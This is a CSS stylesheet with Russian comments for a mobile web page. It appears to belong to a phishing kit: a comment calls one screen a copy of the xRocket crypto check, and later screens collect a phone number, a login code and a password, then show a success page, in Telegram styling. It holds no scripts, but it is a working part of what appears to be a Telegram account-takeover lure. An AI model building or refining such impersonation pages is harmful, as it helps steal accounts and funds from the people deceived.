:root {
  --bg: #030303;
  --fg: #ffffff;
  --dim: rgba(255, 255, 255, 0.55);
  --accent: #ffffff;
  --font: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  --debug: rgba(0, 255, 160, 0.35);
  /* Telegram-палитра (из референса) */
  --tg-page: #0F0F0F;
  --tg-header: #212121;
  --tg-card: #212121;
  --tg-text2: #AAAAAA;
}

* { box-sizing: border-box; -webkit-tap-highlight-color: transparent; }

html, body {
  margin: 0;
  padding: 0;
  width: 100%;
  height: 100%;
  background: var(--bg);
  color: var(--fg);
  font-family: var(--font);
  overflow: hidden;
  overscroll-behavior: none;
}

/* ===== Экраны ===== */
.screen {
  position: absolute;
  inset: 0;
  display: none;
  flex-direction: column;
  background: var(--bg);
}
.screen.is-active { display: flex; }

.sprite { position: absolute; width: 0; height: 0; overflow: hidden; }

/* Иконки (SVG-спрайт) */
.ic {
  width: 22px;
  height: 22px;
  display: block;
  fill: none;
  stroke: currentColor;
  stroke-width: 2;
  stroke-linecap: round;
  stroke-linejoin: round;
}

/* ===== Экран 1: загрузка ===== */
.screen--loading {
  width: 100%;
  height: 100%;
  min-height: 100vh;
  min-height: 100dvh;
}

/* Фоновая картинка (когда добавишь assets/background.jpg — раскомментируй) */
/* .loading-screen {
  background: var(--bg) url("../assets/background.jpg") center/cover no-repeat;
} */

.loading-center {
  position: absolute;
  inset: 0;
}

.logo-box {
  position: absolute;
  top: 44.5%;
  left: 50%;
  transform: translate(-50%, -50%);
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 14px;
}

.logo-img {
  width: 285px;
  max-width: 78vw;
  height: auto;
  display: block;
}

.logo-fallback {
  display: flex;
  align-items: center;
  justify-content: center;
  color: var(--fg);
}

/* (отдельный текст названия убран — логотип одной картинкой) */

/* ===== Низ: 3 точки загрузки ===== */
.loading-dots-box {
  position: absolute;
  left: 0;
  right: 0;
  bottom: calc(34px + env(safe-area-inset-bottom, 0px));
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 10px;
}

.dots {
  display: flex;
  gap: 10px;
  align-items: center;
  justify-content: center;
}

.dots span {
  width: 9px;
  height: 9px;
  border-radius: 50%;
  background: var(--fg);
  opacity: 0.25;
  animation: dotPulse 1.2s infinite ease-in-out;
}
.dots span:nth-child(2) { animation-delay: 0.2s; }
.dots span:nth-child(3) { animation-delay: 0.4s; }

@keyframes dotPulse {
  0%, 80%, 100% { opacity: 0.2; transform: scale(0.85); }
  40% { opacity: 1; transform: scale(1.15); }
}

/* ===== DEBUG: «края» и подписи зон (убирается классом .debug с body) ===== */
.frame {
  display: none;
  position: fixed;
  inset: 0;
  border: 1px dashed var(--debug);
  pointer-events: none;
  z-index: 50;
}
.debug-label {
  display: none;
  font-size: 11px;
  letter-spacing: 0.02em;
  color: #00ffa0;
  background: rgba(0, 255, 160, 0.08);
  border: 1px dashed var(--debug);
  padding: 2px 8px;
  border-radius: 6px;
  white-space: nowrap;
}
body.debug .frame { display: block; }
body.debug .debug-label { display: inline-block; }
body.debug .logo-box { border: 1px dashed var(--debug); }
body.debug .loading-dots-box { border: 1px dashed var(--debug); padding: 6px 0; }

/* ===================================================================
   ЭКРАН 2: ЧЕК (копия xRocket)
   =================================================================== */
.screen--check {
  background: #0B0B0C;
  color: #fff;
}

/* контент */
.ch-scroll {
  flex: 1 1 auto;
  min-width: 0;
  overflow-y: auto;
  overflow-x: hidden;
  overscroll-behavior: contain;
  display: flex;
  flex-direction: column;
  align-items: center;
  padding: 24px 16px 0;
}
.ch-head {
  position: relative;
  width: 100%;
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
}
.ch-badge {
  width: 64px;
  height: 64px;
  border-radius: 50%;
  background: linear-gradient(180deg, #33b6f7, #2196e8);
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
}
.ch-badge .ic { width: 30px; height: 30px; stroke-width: 1.9; }
.ch-title {
  margin-top: 12px;
  font-size: 22px;
  font-weight: 700;
  letter-spacing: -0.01em;
}
.ch-sub {
  margin-top: 6px;
  font-size: 15px;
  color: #8e8e93;
}

/* чек с зубчатыми краями */
.ticket {
  position: relative;
  width: 100%;
  margin-top: 22px;
  padding: 20px 16px 14px;
  background: #17181a;
  --s: 14px;
  -webkit-mask:
    conic-gradient(from 135deg at top, #0000, #000 1deg 89deg, #0000 90deg) top / var(--s) 51% repeat-x,
    conic-gradient(from -45deg at bottom, #0000, #000 1deg 89deg, #0000 90deg) bottom / var(--s) 51% repeat-x,
    linear-gradient(#000 0 0) center / 100% calc(100% - var(--s)) no-repeat;
  mask:
    conic-gradient(from 135deg at top, #0000, #000 1deg 89deg, #0000 90deg) top / var(--s) 51% repeat-x,
    conic-gradient(from -45deg at bottom, #0000, #000 1deg 89deg, #0000 90deg) bottom / var(--s) 51% repeat-x,
    linear-gradient(#000 0 0) center / 100% calc(100% - var(--s)) no-repeat;
}
.tk-amount {
  display: flex;
  align-items: center;
  gap: 12px;
}
.tk-coin {
  flex: 0 0 32px;
  width: 32px;
  height: 32px;
  border-radius: 50%;
  background: linear-gradient(180deg, #2fb08b, #199c74);
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
}
.tk-coin .ic { width: 21px; height: 21px; stroke-width: 2.2; }
.tk-sum {
  display: flex;
  flex-direction: column;
  gap: 1px;
  min-width: 0;
}
.tk-sum-main { font-size: 22px; font-weight: 700; line-height: 1.15; }
.tk-sum-usd { font-size: 14px; line-height: 1.2; color: #8e8e93; }
.tk-divider { height: 1px; background: #2a2b2f; margin: 16px 0 10px; }
.tk-link {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  padding: 6px 0 8px;
  border: 0;
  background: none;
  color: #2aabee;
  font-family: var(--font);
  font-size: 16px;
}
.tk-link .ic { width: 18px; height: 18px; stroke-width: 2; }

/* нижняя кнопка */
.ch-cta {
  position: absolute;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: 4;
  padding: 10px 24px calc(10px + env(safe-area-inset-bottom, 0px));
  background: #0f0f10;
  border-top: 1px solid #1e1e21;
}
.ch-btn {
  width: 100%;
  height: 52px;
  border: 0;
  border-radius: 999px;
  background: #1e9bf0;
  color: #fff;
  font-family: var(--font);
  font-size: 17px;
  font-weight: 500;
  letter-spacing: 0.01em;
  transition: transform 0.12s ease, opacity 0.12s ease;
}
.ch-btn:active { transform: scale(0.99); opacity: 0.9; }

/* debug-зоны чека */
body.debug .ch-head { outline: 1px dashed var(--debug); outline-offset: -1px; }
body.debug .ch-cta { outline: 1px dashed var(--debug); outline-offset: -1px; }
.dbg-head { left: 12px; top: 6px; }
.dbg-ticket { left: 12px; top: 50%; }

/* ===================================================================
   ЭКРАН 3: ЧЕК НЕДОСТУПЕН
   =================================================================== */
.screen--error {
  background: #000;
  color: #fff;
}
.er-scroll {
  flex: 1 1 auto;
  min-width: 0;
  overflow-y: auto;
  overflow-x: hidden;
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  padding: 56px 24px 0;
}
.er-badge {
  width: 60px;
  height: 60px;
  border-radius: 50%;
  background: radial-gradient(115% 115% at 32% 24%, #7fd4ff 0%, #35aef2 58%, #1b93e0 100%);
  box-shadow: 0 6px 18px rgba(42, 171, 238, 0.28);
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
}
.er-badge .ic {
  width: 34px;
  height: 34px;
  stroke-width: 1.8;
}
.er-title {
  margin: 26px 0 0;
  max-width: 330px;
  font-size: 24px;
  font-weight: 700;
  line-height: 1.3;
  letter-spacing: -0.01em;
}
/* по просьбе: размер и цвет как у заголовка */
.er-sub {
  margin: 10px 0 0;
  max-width: 330px;
  font-size: 24px;
  font-weight: 700;
  line-height: 1.3;
  color: #fff;
}
.er-cta {
  position: absolute;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: 4;
  padding: 10px 16px calc(14px + env(safe-area-inset-bottom, 0px));
  background: #000;
}
.er-btn {
  width: 100%;
  height: 54px;
  border: 0;
  border-radius: 12px;
  background: #2aabee;
  color: #fff;
  font-family: var(--font);
  font-size: 17px;
  font-weight: 400;
  transition: opacity 0.12s ease, transform 0.12s ease;
}
.er-btn:active { opacity: 0.9; transform: scale(0.995); }

/* ===================================================================
   ЭКРАН 4: ВВОД НОМЕРА
   =================================================================== */
.screen--phone {
  background: #000;
  color: #fff;
}
.ph-scroll {
  flex: 1 1 auto;
  min-width: 0;
  overflow-y: auto;
  overflow-x: hidden;
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  padding: 9vh 24px 140px;
}
.ph-icons {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 12px;
  margin-bottom: 20px;
}
.ph-icon {
  width: 61px;
  height: auto;
  display: block;
}
.ph-swap {
  width: 42px;
  height: 23px;
  flex: 0 0 auto;
  fill: none;
  stroke: #2aabee;
  stroke-width: 2.2;
  stroke-linecap: round;
  stroke-linejoin: round;
}
.ph-title {
  margin: 0;
  max-width: 320px;
  font-size: 24px;
  font-weight: 700;
  line-height: 1.3;
  letter-spacing: -0.01em;
}
.ph-hint {
  margin: 10px 0 0;
  max-width: 320px;
  font-size: 16px;
  line-height: 1.3;
  color: rgba(255, 255, 255, 0.45);
}
.ph-input {
  width: 100%;
  max-width: 330px;
  height: 54px;
  margin-top: 22px;
  padding: 0 16px;
  border: 1.5px solid #2aabee;
  border-radius: 12px;
  background: rgba(255, 255, 255, 0.08);
  color: #fff;
  font-family: var(--font);
  font-size: 17px;
  text-align: center;
  caret-color: #2aabee;
  outline: none;
  -webkit-appearance: none;
  transition: background-color 0.15s ease, border-color 0.15s ease, box-shadow 0.15s ease;
}
.ph-input::placeholder {
  color: rgba(255, 255, 255, 0.45);
  opacity: 1;
  transition: color 0.15s ease;
}
.ph-input:focus {
  border-color: #2aabee;
  background: rgba(255, 255, 255, 0.11);
  box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15);
}
/* при нажатии на поле подсказка исчезает */
.ph-input:focus::placeholder {
  color: transparent;
}
.ph-note {
  margin: 12px 0 0;
  max-width: 320px;
  font-size: 12.5px;
  line-height: 1.4;
  color: rgba(255, 255, 255, 0.38);
}

/* ===================================================================
   ЭКРАН 5: ВВОД КОДА
   =================================================================== */
.screen--code {
  background: #000;
  color: #fff;
}
.screen--password {
  background: #000;
  color: #fff;
}
/* поле уже, чтобы читалось как поле для кода */
.cd-title {
  margin-top: 48px;
}
.cd-input {
  max-width: 220px;
  margin-top: 37px;
  letter-spacing: 0.08em;
  font-size: 18px;
}
.cd-input::placeholder {
  font-size: 13px;
  letter-spacing: 0.01em;
}

/* поле пароля с глазиком */
.pw-wrap {
  position: relative;
  width: 100%;
  max-width: 220px;
  margin-top: 37px;
}
.pw-wrap .cd-input {
  max-width: none;
  width: 100%;
  margin-top: 0;
  padding-right: 42px;
}
.pw-eye {
  position: absolute;
  right: 4px;
  top: 50%;
  transform: translateY(-50%);
  width: 36px;
  height: 36px;
  padding: 0;
  border: 0;
  border-radius: 50%;
  background: none;
  color: rgba(255, 255, 255, 0.7);
  display: flex;
  align-items: center;
  justify-content: center;
}
.pw-eye:active { color: rgba(255, 255, 255, 0.95); }
.pw-eye .ic {
  width: 19px;
  height: 19px;
  stroke-width: 1.9;
}

/* сообщение под полем (ошибка/статус) */
.ph-msg {
  margin: 10px 0 0;
  max-width: 320px;
  font-size: 13.5px;
  line-height: 1.4;
  color: #ff6b6b;
}
.ph-msg:empty { display: none; }
.ph-msg.is-ok { color: #4fc77a; }

/* ===================================================================
   ЭКРАН 7: УСПЕХ
   =================================================================== */
.screen--success {
  background: #000;
  color: #fff;
}
.sc-wrap {
  flex: 1 1 auto;
  min-width: 0;
  overflow-y: auto;
  overflow-x: hidden;
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  padding: 9vh 24px 140px;
}
.sc-badge {
  width: 66px;
  height: 66px;
  border-radius: 16px;
  background: linear-gradient(180deg, #46e263, #21b13c);
  box-shadow: 0 6px 18px rgba(34, 178, 60, 0.35);
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
}
.sc-badge .ic {
  width: 40px;
  height: 40px;
  stroke-width: 3;
}
.sc-title {
  margin: 22px 0 0;
  max-width: 320px;
  font-size: 24px;
  font-weight: 700;
  line-height: 1.3;
  letter-spacing: -0.01em;
}
.sc-note {
  margin: 28px 0 0;
  max-width: 320px;
  font-size: 17px;
  line-height: 1.35;
  color: rgba(255, 255, 255, 0.9);
}
.sc-note--small {
  margin-top: 8px;
  font-size: 14px;
  line-height: 1.35;
  color: rgba(255, 255, 255, 0.5);
}
